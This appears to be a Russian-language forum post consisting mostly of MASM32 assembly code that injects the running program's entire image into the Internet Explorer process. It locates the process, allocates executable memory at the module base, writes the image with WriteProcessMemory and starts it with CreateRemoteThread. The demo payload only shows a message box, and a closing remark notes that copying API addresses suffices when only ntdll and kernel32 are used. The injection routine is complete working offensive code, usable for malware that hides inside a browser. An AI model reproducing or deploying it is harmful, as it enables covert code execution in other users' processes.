Код:
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib
GetPid PROTO :DWORD
injected_thread PROTO
CTEXT MACRO y:VARARG
LOCAL sym, dummy
dummy EQU $;; MASM error fix
CONST segment
IFIDNI <y>,<>
sym db 0
ELSE
sym db y,0
ENDIF
CONST ends
EXITM <OFFSET sym>
ENDM
.data?
Buffer db 256 dup(?)
ThePID dd ?
lpProcess dd ?
lpModule dd ?
lpNewModule dd ?
dwSize dd ?
lpPID dd ?
nBytesWritten dd ?
.code
start:
invoke GetModuleHandle,0
mov [lpModule], eax
mov edi,eax
add edi,[edi+3Ch]
add edi,4
add edi,14h
mov eax,[edi+38h]
mov [dwSize],eax
;next thing to do is to get the Process ID (PID)
;we can do this 2 ways either CreateToolhelp32Snapshot
;Invoke GetPid,CTEXT ('iexplore.exe')
;or...
invoke FindWindow,CTEXT ('IEFrame'),0 ;find iexplorer.exe window class
invoke GetWindowThreadProcessId, eax, addr ThePID ;get the PID :)
invoke OpenProcess,PROCESS_ALL_ACCESS, FALSE, ThePID;open the process
mov [lpProcess],eax
invoke VirtualFreeEx, [lpProcess], [lpModule], 0, MEM_RELEASE
invoke VirtualAllocEx, [lpProcess], [lpModule], dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
invoke WriteProcessMemory, [lpProcess], eax, [lpModule], [dwSize], addr nBytesWritten
invoke CreateRemoteThread, [lpProcess], 0, 0, offset injected_thread, [lpModule], 0, ebx
invoke ExitProcess,0
injected_thread proc
invoke LoadLibrary,CTEXT ('user32.dll')
invoke MessageBox,0,CTEXT ('Success!!!'),CTEXT ('Hello From iexplorer'),0
invoke ExitThread,0
ret
injected_thread endp
GetPid proc szFile:dword
LOCAL Process:PROCESSENTRY32
mov Process.dwSize, sizeof Process
invoke CreateToolhelp32Snapshot, 2, 0
mov esi, eax
invoke Process32First, esi, addr Process
@@loop:
invoke lstrcmpiA,szFile, addr Process.szExeFile
test eax, eax
jnz @@continue
;if we are here then we got the pid (Process.th32ProcessID}
push Process.th32ProcessID
pop ThePID
jmp @@done
@@continue:
invoke Process32Next, esi, addr Process
test eax, eax
jz @@done
jmp @@loop
@@done:
invoke CloseHandle, esi
ret
GetPid endp
end start
Хотя смотря какие апишки юзаются, если нтдлл и кернел, можно не особо заморачиваться и скопировать адреса.
